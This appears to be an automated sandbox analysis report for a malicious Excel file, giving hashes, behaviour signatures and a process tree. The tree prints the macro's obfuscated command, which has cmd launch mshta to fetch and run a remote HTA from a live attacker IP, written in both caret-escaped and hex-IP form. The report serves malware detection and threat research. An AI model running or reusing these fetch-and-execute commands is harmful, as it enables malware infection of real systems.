Analysis

  • max time kernel
    133s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 12:17

General

  • Target

    d0a26875a97931d0a1523e200c577ab70bd846e2c39a7708e6e02ddb176a6bd2.xls

  • Size

    102KB

  • MD5

    cb5bbc7f560ba2f7d3650d6e140d843f

  • SHA1

    b577a5bf0b48bfc6a08cb0a7485e373a13ee5d5b

  • SHA256

    d0a26875a97931d0a1523e200c577ab70bd846e2c39a7708e6e02ddb176a6bd2

  • SHA512

    4151989e65fbcf08f9e46328af242a6afc0c670b82e61a1466443a9fda264aae1d556be878a3a29675db10f357d9421a57097de58cae34802bad88c347e56d69

  • SSDEEP

    3072:n/k3hbdlylKsgqopeJBWhZFGkE+cL2NdAFxe53lGvFTQ3IzxgdrvxpU0OKvMB:/k3hbdlylKsgqopeJBWhZFVE+W2NdAOK

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://185.7.214.7/fer/fe3.html

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\d0a26875a97931d0a1523e200c577ab70bd846e2c39a7708e6e02ddb176a6bd2.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1628
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:4640
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe3.html
        3⤵
        • Blocklisted process makes network request
        PID:4172

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

    Filesize

    1KB

    MD5

    0f9d2c5b48571360d7cef62c0648101d

    SHA1

    4823221a72027bfdf3d74e59afd80059f4ffc933

    SHA256

    7f2c03b4aa5a16ec9aa6c405576673578a113919ce90e8b969a2a2a17e7fd85e

    SHA512

    d2d810df7a178caa4c500eb04fa4fef2b9157a6c9acc05a48cc8f58a10e32b1e71f7e2839703923bca8b62e13c4a80f2ac85674e3bf1f6ccef0fcfa9133b582e

  • memory/1628-14-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-7-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-4-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

    Filesize

    64KB

  • memory/1628-3-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

    Filesize

    64KB

  • memory/1628-6-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-8-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-10-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-15-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-0-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

    Filesize

    64KB

  • memory/1628-11-0x00007FFF025D0000-0x00007FFF025E0000-memory.dmp

    Filesize

    64KB

  • memory/1628-1-0x00007FFF44D2D000-0x00007FFF44D2E000-memory.dmp

    Filesize

    4KB

  • memory/1628-5-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

    Filesize

    64KB

  • memory/1628-9-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-13-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-16-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-18-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-19-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-17-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-12-0x00007FFF025D0000-0x00007FFF025E0000-memory.dmp

    Filesize

    64KB

  • memory/1628-30-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-31-0x00007FFF44D2D000-0x00007FFF44D2E000-memory.dmp

    Filesize

    4KB

  • memory/1628-35-0x00007FFF44C90000-0x00007FFF44E85000-memory.dmp

    Filesize

    2.0MB

  • memory/1628-2-0x00007FFF04D10000-0x00007FFF04D20000-memory.dmp

    Filesize

    64KB